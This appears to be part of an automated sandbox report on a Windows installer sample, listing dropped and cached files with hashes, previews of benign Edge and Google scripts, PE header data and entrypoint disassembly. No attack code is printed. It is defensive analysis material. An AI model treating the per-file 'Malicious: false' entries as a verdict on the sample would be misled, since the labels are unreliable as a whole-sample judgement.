"UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7780_2010829925\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7780_2010829925\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7780_2010829925\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Users\user\AppData\Local\Temp\714380\Wake.com
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.417164756994754
Encrypted:	false
SSDEEP:	6144:6cifpi6ceLPL9skLmb0mYSWSPtaJG8nAgex285i2MMhA20X4WABlUuNK5+:Xi58YSWIZBk2MM6AFngo
MD5:	3BCFAA6AC7AA284CCC173C5AA3FB5F07
SHA1:	21493F7AECC83AF2DCFB0A1E764FADDA7A38931D
SHA-256:	A10BC08C3A9789447BD6305031DE3D4B8C4E1F21DCB76A626BB86AFE806F66E5
SHA-512:	C45941CD37478C75A2919B692B594BFAAFE290C98B4AA32559E2D8D2F5065205BB39925532C3EFBF8C195F574E638E55E1FC2133DF2B4D9F9F134876FC4D4DFA
Malicious:	false
Preview:	regfH...H....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm..r..................................................................................................................................................................................................................................................................................................................................................e.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 452

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 453

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2412)
Category:	downloaded
Size (bytes):	174551
Entropy (8bit):	5.55722757897879
Encrypted:	false
SSDEEP:	3072:KlvNKLH6d4uNFMV2n7ZNYKALBfuxJR5Bf7xf9DVjVHwFH7cNm5Qs5XaSLWmzKZg2:KlvcLO4uNFMV2n9NPAL5u3R5Bf7xf9DL
MD5:	08F598A3C3E8FD41EE8BDB46973A9523
SHA1:	0FA21DCF0E1EFDFBA96348031DAE50CDD674DFE7
SHA-256:	F914832ADB9297BF49C2C2133BB1B55221C4693134D814485E7C4DFDE5999C68
SHA-512:	354338C93285E1D8372D5BE15F935092A053FBBDE1FF76680919FC9B2F98ED61D4E6176CC698820DF2756A1A6336C07E59E2ECB956661658E6484EB1135F2A8E
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.ke5z57QrnxY.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTvRbRtHDArzB3468AVDc4vas6qBEw"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Si=function(a){if(4&a)return 2048&a?2048:4096&a?4096:0};_.Ti=class extends _.O{constructor(a){super(a)}};.}catch(e){_._DumpException(e)}.try{.var Xi,Yi,$i,aj,dj;_.Ui=function(){return typeof BigInt==="function"};Xi=function(a){const b=a>>>0;_.Vi=b;_.Wi=(a-b)/4294967296>>>0};Yi=function(a,b){b=~b;a?a=~a+1:b+=1;return[a,b]};_.Zi=function(a){if(a<0){Xi(-a);const [b,c]=Yi(_.Vi,_.Wi);_.Vi=b>>>0;_.Wi=c>>>0}else Xi(a)};$i=function(a){a=String(a);return"0000000".slice(a.length)+a};.aj=function(a,b){b>>>=0;a>>>=0;if(b<=2097151)var c=""+(4294967296b+a);else _.Ui()?c=""+(BigInt(b)<<BigInt(32)\|BigInt(a)):(c=(a>>>24\|b<<8)&16777215,b=b>>16&65535,a=(a&16777215)+c6777216+b6710656,c+=b8147497,b*=2,a>=1E7&&(c+=a/1E7>>>0,a%=1E7),c>=1E7&&(b+=c/1E7>>>0,c%=1E7),c=b+$i(c)+$i(a));return c};_.bj=function(a,b){if(b&2147483648)if(_.Ui())a=""+(BigInt(b\|0)<<BigInt(32)\|BigInt(a>>>0));else{const [c,d]=Yi(a,b);a="-"+aj(c,d)}else a=aj(a,b);return a};._

Chrome Cache Entry: 454

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.349865760247148
Encrypted:	false
SSDEEP:	96:mtOTUb1db1ClNY5co7shdiUYVqig7O7aZCUgpgXEt94k+g8IHh8u928DoCLQ:mtOT8TfL1Vqig7mIg8IB8u88DA
MD5:	70A8F21806E7F1B739937970EBE49A0C
SHA1:	6BE9EEBCE438DE91FEB20E6A5458774B327AA9B4
SHA-256:	C8B531CFD6E9BE13762E289820F67406331303CD5111A885DE959BF83DD0F5AC
SHA-512:	3C055567D0ED53BD30773C0BE475DC7499E44AFB92FB05021029D9A0C1299A470CDD3A8CACCCF798D5345ED627C5836E9DF5955A120FE56BA3624EC76A673270
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.Rc_yzHk8ifQ.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTuv2QHsljKVzbRNNpe_a-fLlyIBPw"
Preview:	.gb_Q{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ka{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_La{fill:#f9ab00}.gb_H .gb_La{fill:#fdd663}.gb_Ma>.gb_La{fill:#d93025}.gb_H .gb_Ma>.gb_La{fill:#f28b82}.gb_Ma>.gb_Na{fill:white}.gb_Na,.gb_H .gb_Ma>.gb_Na{fill:#202124}.gb_Oa{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 455

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	131027
Entropy (8bit):	5.436565239872052
Encrypted:	false
SSDEEP:	3072:M+hknhATKzfox5u0sb9FjwG+LTp6z6x0zo:jmhdzg/u0sb9FjwG+LTp46Ao
MD5:	2790BD782F85D8C5C488D535F68034BF
SHA1:	7B0EB210E5546986C66F4B17F73AB0B666C669E4
SHA-256:	3F2232CCB77486BC99820BA8B9C1CACD929CC455C43C56BE51F30EA51BDDFACA
SHA-512:	A3301D0DDDC24EA5A1F925FEBA4E6B9298E64C995F005F43428926135EFFE83DDB10CE69FFC0987CD20F2D6B602D2F9C3C444E2AE57B97641F7E3263C370EF60
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Fa gb_2d gb_Pe gb_rd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Qd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_ld gb_pd gb_Hd gb_md\"\u003e\u003cdiv class\u003d\"gb_xd gb_sd\"\u003e\u003cdiv class\u003d\"gb_Kc gb_R\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Kc gb_Nc gb_R\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 456

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1617)
Category:	downloaded
Size (bytes):	117345
Entropy (8bit):	5.491583002528666
Encrypted:	false
SSDEEP:	3072:3uyv2fVbFypYIOKEQylM3s5dGgza/EEQJE9:3uyIVbFgYVxdgJQJE9
MD5:	8F0B2CF806F323303D90290C04C66286
SHA1:	9C671B5E1F625BFA6894818C4A7BA6950F300DF4
SHA-256:	F0520A5239189BB680C613427E7760E8DD41D1DF2D60EF699F8A74BDFE3AF750
SHA-512:	355BFFF7963C903BB1E5D9E950570BAB9541B9D426C5725EF298895420E92D3E48A36340A70F177D204DDC1DBF92CB7AE661501D2E876363988B45C3C7D15683
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.24R2mrw_td8.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo9vR1rNwOjC3PXOxUlyKiCwNBv2Fg/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([]);.var aa,ea,la,pa,za,Ea,Fa;aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.la=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.na=la(this);pa=function(a,b){if(b)a:{var c=_.na;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.pa("Symbol",function(a){if(a)return a;var b

Chrome Cache Entry: 457

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Chrome Cache Entry: 458

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8726)
Category:	downloaded
Size (bytes):	8731
Entropy (8bit):	5.788312547718583
Encrypted:	false
SSDEEP:	192:DylFd66666r3ttaXqjnINLc4uvTycj79OoswkQvZOlIjBCLHnEpoT:Dyp66666JMXqbSLGvWcH/VkQiIBMECT
MD5:	C1173DB1392541EFD9E5AB3743298B8E
SHA1:	BF5BD3F34737AB470379BFDF53809F207BCD65D2
SHA-256:	2CB94E9CFCAC1AA29E94085CA55B7EC1E33DBC91AA4895E3064C2642DA34F183
SHA-512:	A14699AC774CB48EA88E70C3DC4B2007B9D1E81B4EFA0C43E423BCBA7B0C1B9BE42ABE6143D73EE74E13A60CCAAF37CDA92951AB0DBA6C673D0BF5B29C12231E
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE
Preview:	)]}'.["",["nintendo switch tariffs","big lots stores reopening","kirsten booth creighton volleyball","olivier awards 2025 winners","atlanta airport delays","san diego padres","nascar darlington raceway goodyear 400","delta airlines"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChoIkk4SFQoRVHJlbmRpbmcgc2VhcmNoZXMoCg\u003d\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"google:entityinfo":"Cg0vZy8xMWYwenYwczRiEjNLaXJzdGVuIEJlcm50aGFsIEJvb3RoIOKAlCBGb3JtZXIgdm9sbGV5YmFsbCBwbGF5ZXIyhwtkYXRhOmltYWdlL2pwZWc7YmFzZTY0LC85ai80QUFRU2taSlJnQUJBUUFBQVFBQkFBRC8yd0NFQUFrR0J3Z0hCZ2tJQndnS0Nna0xEUllQRFF3TURSc1VGUkFXSUIwaUlpQWRIeDhrS0RRc0pDWXhKeDhmTFQwdE1UVTNPam82SXlzL1JEODRRelE1T2pjQkNnb0tEUXdOR2c4UEdqY2xIeVUzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM04vL0FBQkVJQUVBQVFBTUJJZ0FDRVFFREVRSC94QUFiQUFBQ0F3RUJBUUFBQUFBQUFBQUFBQUFEQmdJRUJ3VUJBUC9FQURJUUFBSUJBd01DQkFNR0J3QUFBQUFBQUFFQ0F3QUVFUVVTTVNGUkJpS

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.762329971173265
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	jPKFh06jHI.exe
File size:	1'122'194 bytes
MD5:	9baf61196c985b17067f787d6373f142
SHA1:	1dda434580f65aff8e0f9dbcd20a3e46c56db89e
SHA256:	12dab9b1e693d996b00cd7812e3aa160fe3d85bd3441eb5655fd5f5d853984be
SHA512:	aab5ab05d9a5d4a8734ab5c4d8fc4ed1211d95f57894179144cbc77f94e4d7d67a627ef86abdfe2cb96c56a9d089882cc7af709c1651adb6a09ab1a4b6cfe3d1
SSDEEP:	12288:JtCOVG0JhTnUOucVcXpbjaCHgjD2MbbSnaF2KyGFIlqIhrEkoAbjKaA:JtC0G0JhTndBVcZbQD2MbbJBshyJaA
TLSH:	00351DC823524647CE7B05B73FEA0EDDDA73975326C2929F2801F7B8A25A159435BF20
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........6..fX..fX..fX...5..fX...#..fX..fY.,fX......fX......fX......fX.Rich.fX.........PE..L....l.K.................d...\|>..B...3.....

File Icon


Icon Hash:	b2b2b079e8f89686

Static PE Info

General

Entrypoint:	0x4033ff
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4BC06CBA [Sat Apr 10 12:19:06 2010 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	bf95d1fc1d10de18b32654b123ad5e1f

Authenticode Signature

Signature Valid:
Signature Issuer:
Signature Validation Error:
Error Number:
Not Before, Not After
Subject Chain
Version:
Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:
Serial:

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 00408570h
mov dword ptr [esp+14h], ebp
call dword ptr [00408030h]
push 00008001h
call dword ptr [004080B4h]
push ebp
call dword ptr [004082B0h]
push 00000008h
mov dword ptr [007EEEB8h], eax
call 00007F3834EBCBACh
push ebp
push 000002B4h
mov dword ptr [007EEDD0h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 0040856Ch
call dword ptr [00408180h]
push 00408554h
push 007E6DC0h
call 00007F3834EBCA7Ah
call dword ptr [004080B0h]
push eax
mov edi, 0083F0A0h
push edi
call 00007F3834EBCA68h
push ebp
call dword ptr [00408130h]
cmp word ptr [0083F0A0h], 0022h
mov dword ptr [007EEDD8h], eax
mov eax, edi
jne 00007F3834EBA44Ah
push 00000022h
pop esi
mov eax, 0083F0A2h
push esi
push eax
call 00007F3834EBC73Ch
push eax
call dword ptr [00408250h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007F3834EBA4D1h
push 00000020h
pop ebx
cmp ax, bx
jne 00007F3834EBA449h
inc esi
inc esi
cmp word ptr [esi], bx
je 00007F3834EBA43Bh

Rich Headers

Programming Language:

[ C ] VS2005 build 50727
[IMP] VS2005 build 50727
[ C ] VS2008 SP1 build 30729
[LNK] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x89f0	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x470000	0x14eb0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x31400022	0x1f70
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2c0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x63c2	0x6400	0222e192e15f5dae2b2916129612c20e	False	0.6772265625	data	6.5339670071373455	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x18ca	0x1a00	7eb0899a4b6211f8bc545228417d92ad	False	0.42427884615384615	data	4.878367399492845	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x3e4ebc	0x200	6966cfc8c85a950bb67188d20603933d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x3ef000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x470000	0x14eb0	0x15000	536b28a2bfaf547a5569e1076df39640	False	0.8720470610119048	data	7.44738136122566	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x470280	0xdcc8	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9943205944798301
RT_ICON	0x47df48	0x2668	Device independent bitmap graphic, 48 x 96 x 32, image size 9792	English	United States	0.3422497965825875
RT_ICON	0x4805b0	0x18df	PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced	English	United States	1.0017276582377885
RT_ICON	0x481e90	0x14d2	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	English	United States	1.002063789868668
RT_ICON	0x483368	0x1128	Device independent bitmap graphic, 32 x 64 x 32, image size 4352	English	United States	0.4237249544626594
RT_ICON	0x484490	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.5629432624113475
RT_DIALOG	0x4848f8	0x100	data	English	United States	0.5234375
